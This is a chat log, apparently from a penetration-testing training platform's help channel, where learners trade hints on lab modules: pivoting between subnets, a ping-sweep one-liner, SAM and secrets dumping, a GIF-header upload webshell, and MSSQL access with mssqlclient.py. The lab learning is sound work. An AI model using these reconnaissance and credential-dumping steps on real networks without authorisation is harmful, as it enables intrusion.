for /l %i in (1,1,254) do @ping -n 1 -w 100 192.168.0.%i | findstr "Reply" run this in command prompt

[ivory dock]

I tried that

[shadow canopy]

You are on the right track. You can try which operator is not blocked first and use its encoded version from the table in the module. After that you can inject

[ivory dock]

in the 172.16.6.0 subnet

[fathom pendant]

and you ping swept that net yeah?

[nova dove]

doing the file inclusion module > lfi and file uploads > i uploaded the image and got the cmd > but m stuck there is a file with .txt it toolks like a flag when i used cat it showed me GIF8 i thought its the flag but its not and inside GIF8 is empty what to do ? help pls

[ivory dock]

the only response was from the same machine

[fathom pendant]

did you also find the creds for other user?

[ivory dock]

yes, nothing other than itself

[fathom pendant]

which module are you doing again? sorry that got lost somewhere

[ivory dock]

I haven't tried cracking the hashes but I dumped sam and secrets

[ivory dock]

tunneling and pivoting skills assessment

[fathom pendant]

once in as the <first user> that you get from the foothold you should be able to jump to the 172.16.5.0/23 subnet using the credentials ; once on THAT one it's on the .6 subnet

[nova dove]

help pls

[ivory dock]

can I DM you?

[vital adder]

oh wait i can't find the machine either

[fathom pendant]

yeah let me pull up my parrot to see if I can jump in and run it real quick to confirm

[ivory dock]

see? 😂 this has been driving me crazy

[nova dove]

@fathom pendant can u help me too pls

[vital adder]

nope wait the i tool suggest found it

but still kinda weird the cmd ping sweep should find it

[fathom pendant]

the pivot tool has fping installed to find the first jump host

[vital adder]

let me try with metasploit

[ivory dock]

it must be because the DC doesn't respond to pings

[fathom pendant]

nah

i was able to ping it just fine

[ivory dock]

crap

[vital adder]

the DC is on a third network 🤣

[ivory dock]

this is exactly what I'm doing

[fathom pendant]

btw you are on the v* user yeah?

[ivory dock]

ah you have to login as the v* user??

[fathom pendant]

if you remote in then there's nothing else you need to do :) hint: file-explorer

[fathom pendant]

yes

but that's on the second host

[ivory dock]

yeah yeah on the second host

[fathom pendant]

iirc

[ivory dock]

well damn

[fathom pendant]

you go foothold -> m* -> v*

[ivory dock]

I was NT\AUTHORITY on the second machine and didn't see anything in v* user's folders

NT\AUTHORITY through meterpreter

I'm assuming v* user creds need to be cracked from sam dump?

[vital adder]

nope, hint the hint

[nova dove]

doing the file inclusion module > lfi and file uploads > i uploaded the image and got the cmd > but m stuck there is a file with .txt it toolks like a flag when i used cat it showed me GIF8 i thought its the flag but its not and inside GIF8 is empty what to do ? help pls

[verbal galleon]

Use a proper command

[nova dove]

like?

[verbal galleon]

You have LFI already

Your flag is right in front of you. cat it

[nova dove]

inside that .txt there is only a file named as GIF8 and inside that its empty

[verbal galleon]

Leave GIF8

Cat the file in front of you and leave the GIF8

More I can’t tell you otherwise I get spanked by @west canopy

[nova dove]

@verbal galleon with cat m getting this

[fathom pendant]

yep

[verbal galleon]

I said leave the GIF8

[steady hawk]

Might I be able to dm you pls?

[nova dove]

then what should i look for gimme a hint or something

[vital adder]

yes but there is no ||cracking|| involved

[verbal galleon]

Your hint is: remove GIF8 in your url

Otherwise ALT-F4 man

[nova dove]

@verbal galleon nah i got the flag

[verbal galleon]

Great

[nova dove]

@verbal galleon thanks for the help , but i didnt get it how m gonna supposed to know that i have to remove it 😦

[verbal galleon]

GIF8 is just the metadata for a gif file

And this is not a LFI, it’s a rce you got there

[nova dove]

but in the chapter they didnt mentioned that we have to remove it in order to get the file or flag tho

[verbal galleon]

No you should think of it yourself

[nova dove]

😦

[shadow canopy]

yes of course

[verbal galleon]

Are you doing the cpts path?

[fathom pendant]

@ivory dock make sure to run the ping command as admin as well

that may be why you're not finding the thing

[nova dove]

m doing the tier 0

[verbal galleon]

Allright good luck

If you need help, just DM me. Almost done with cpts path (99%)

[nova dove]

wow i will be ur student xd

[stuck flame]

how i can have rank "academy user" i can't find the api of academy

[fathom pendant]

@ivory dock after re-running the commands to find the right host - I was able to seamlessly connect and get answers; if in an hour you are still stuck DM me

[tacit rose]

@sweet oar I'm brand new to HTB and I'm stuck at this point. Have you gotten any further?

[fathom pendant]

what point; you didn't reply to their comment so we have no context to assist you either

[neon depot]

hellp

i need help to enumerate the mysql

[ivory dock]

Heading to bed now, so I'll try again tomorrow. I'll make sure to run commands with an admin prompt. Thank you

[neon depot]

Do you anyone know the command the sql server directly?

I found the passwords but not being able to eumerate

[fathom pendant]

I tried as both user and admin cmd prompt; user prompt wasn't doing anything

[fathom pendant]

what module is this?

[ivory dock]

Noted

[fathom pendant]

it helps if you give us context of the module and section you're working on so we can look back at our notes regarding how we performed the enumeration and flag capture

[neon depot]

attacking common service

attacking mysql

i found password but not being able to enumrate

[fathom pendant]

ah attacking mysql service; i believe that one is fairly simple give me one moment to rego over my notes for that

[neon depot]

Please sir

i only left this one

Thank you

[thorn urchin]

if the port is open you can just use the regular mysql client

just read the section again

[fathom pendant]

is the sql server open from the outside? as in if you try and scan the sql server; is it reachable

[neon depot]

i mean none of command work

so

[fathom pendant]

if not - then you may need to remote in and do the command

i believe that RDP port is open on this system is it not?

[neon depot]

yes

and i finished the RDP first

but not sure for flagDB

enmeration

[fathom pendant]

one moment

[neon depot]

yes sir

[fathom pendant]

and you said you did find the password for the mssqlsvc user yes?

[neon depot]

yes

but the server could not find

[fathom pendant]

ok one moment please

[neon depot]

prixxxxxxx

i know

[fathom pendant]

ah server could not find means that you had an error; it thinks you put the password in as the user

[neon depot]

no

I am in server now

MySQL target -U msssqlsvc -P ‘pri xxxxx’

Does work but not being able to enumerate

[fathom pendant]

elaborate

are you running the commands?

are you remembering to end commands with ;

[neon depot]

mysql 10.129.62.213 -U mssqlsvc -P 'pxxxxxxx'

after that sir

There is bunch of opened server but not sure which one it is and what i need to enmerate'

[fathom pendant]

also use lowercase -u and -p; linux is case sensitive

[neon depot]

oh ok

yes but i cannot see the flagDB on the list

Do i have to try another attacj?

[fathom pendant]

should be able to show databases; to see it

[neon depot]

ok i see database server

but

mysql>USE databases? it it correct command sir?

[fathom pendant]

no

show databases; shows all available databases you can use

use <databasename>; selects the database for use

[neon depot]

Can I I'm to you?

Dm

[fathom pendant]

also

[neon depot]

Sorry

[fathom pendant]

to connect to a not local server

you NEED to specify

-h <ip>

otherwise it won't properly connect sometimes

[neon depot]

Can you see the dm

[fathom pendant]

AH

right

[neon depot]

Please

[fathom pendant]

forgot

this is mssql

not mysql

my bad

[neon depot]

Sorry command bot found

I dm

U

[novel matrix]

What's going on?

[fathom pendant]

mssqlclient.py

i don't feel like dming about this

[fathom pendant]

attacking commonservices sql

[neon depot]

usage: mssqlclient.py [-h] [-port PORT] [-db DB] [-windows-auth] [-debug]
[-file FILE] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
[-aesKey hex key] [-dc-ip ip address]
target
mssqlclient.py: error: unrecognized arguments: -u mssqlsvc

mssqlclient.py 10.129.62.213 -u mssqlsvc -p 'prinxxxx'

it was command

what i need to fix?

[vital adder]

add -windows-auth